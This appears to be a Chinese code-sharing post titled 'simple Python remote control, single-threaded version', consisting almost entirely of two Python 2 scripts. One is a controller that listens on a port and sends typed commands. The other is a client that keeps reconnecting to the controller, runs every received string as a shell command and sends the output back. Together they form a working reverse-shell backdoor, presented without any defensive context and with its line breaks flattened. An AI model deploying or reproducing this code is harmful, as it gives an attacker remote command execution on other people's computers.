python简易远程控制单线程版

 #!/usr/bin/env python # encoding: utf-8 import socket import sys from os import * reload(sys) sys.setdefaultencoding("utf-8") def socketInit(): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) return s def socketDeal(s,HOST,PORT): s.bind((HOST,PORT)) s.listen(1) def ControlModule(sS,addr): recv_buffer = sS.recv(20048) if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF": print recv_buffer sys.exit(0) else: print recv_buffer send_buf = raw_input(addr[0]+">") sS.send(send_buf) def main(): HOST = "127.0.0.1" PORT = 7676 s = socketInit() socketDeal(s, HOST, PORT) sS,addr = s.accept() print "Connect from " + addr[0] + ":" + repr(addr[1]) try: while True: ControlModule(sS,addr) except Exception as e: print "[-]Connect Error" sS.close() s.close() sys.exit(-1) except KeyboardInterrupt: sS.close() s.close() sys.exit(0) if __name__ == '__main__': main() 

 #!/usr/bin/env python # encoding: utf-8 import socket import sys import re import traceback import tempfile from os import * from subprocess import * reload(sys) sys.setdefaultencoding("utf-8") def socketInit(): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) return s def socketConn(s,HOST,PORT): while True: try: s.connect((HOST,PORT)) except Exception as e: continue else: s.send("Welcome Sir ~") break def String_Deal(recv,send): P_str = re.findall("cd(.*)|(\w):", recv) if P_str!=[] and send == "": if P_str[0][0]!="": try: chdir(P_str[0][0].strip()) except Exception as e: flag = -1 else: flag = 1 else: try: chdir(recv) except Exception as e: #traceback.print_exc() flag = -1 else: flag = 1 else: if send == "": flag = 1 else: flag = 0 return flag def OpenProcess(s): try: while True: recv_buf = s.recv(2048) #流文件技术，防止管道阻塞 out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000) fileNo = out_temp.fileno() cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT) cmd.wait() out_temp.seek(0) send_buf = out_temp.read() #print len(send_buf) #输入命令字符串处理识别 flag = String_Deal(recv_buf,send_buf) if flag == 1: s.send("OK") elif flag == -1: s.send("Error!!") else: s.send(send_buf) send_buf = "" except Exception as e: try: s.send("[-]Error:Server is OFF") except Exception as e: pass s.close() sys.exit(-1) except KeyboardInterrupt: try: s.send("[*]Server is OFF") except Exception as e: pass s.close() sys.exit(0) def main(): flag = 0 HOST = "127.0.0.1" PORT = 7676 s = socketInit() socketConn(s, HOST, PORT) OpenProcess(s) if __name__ == '__main__': main()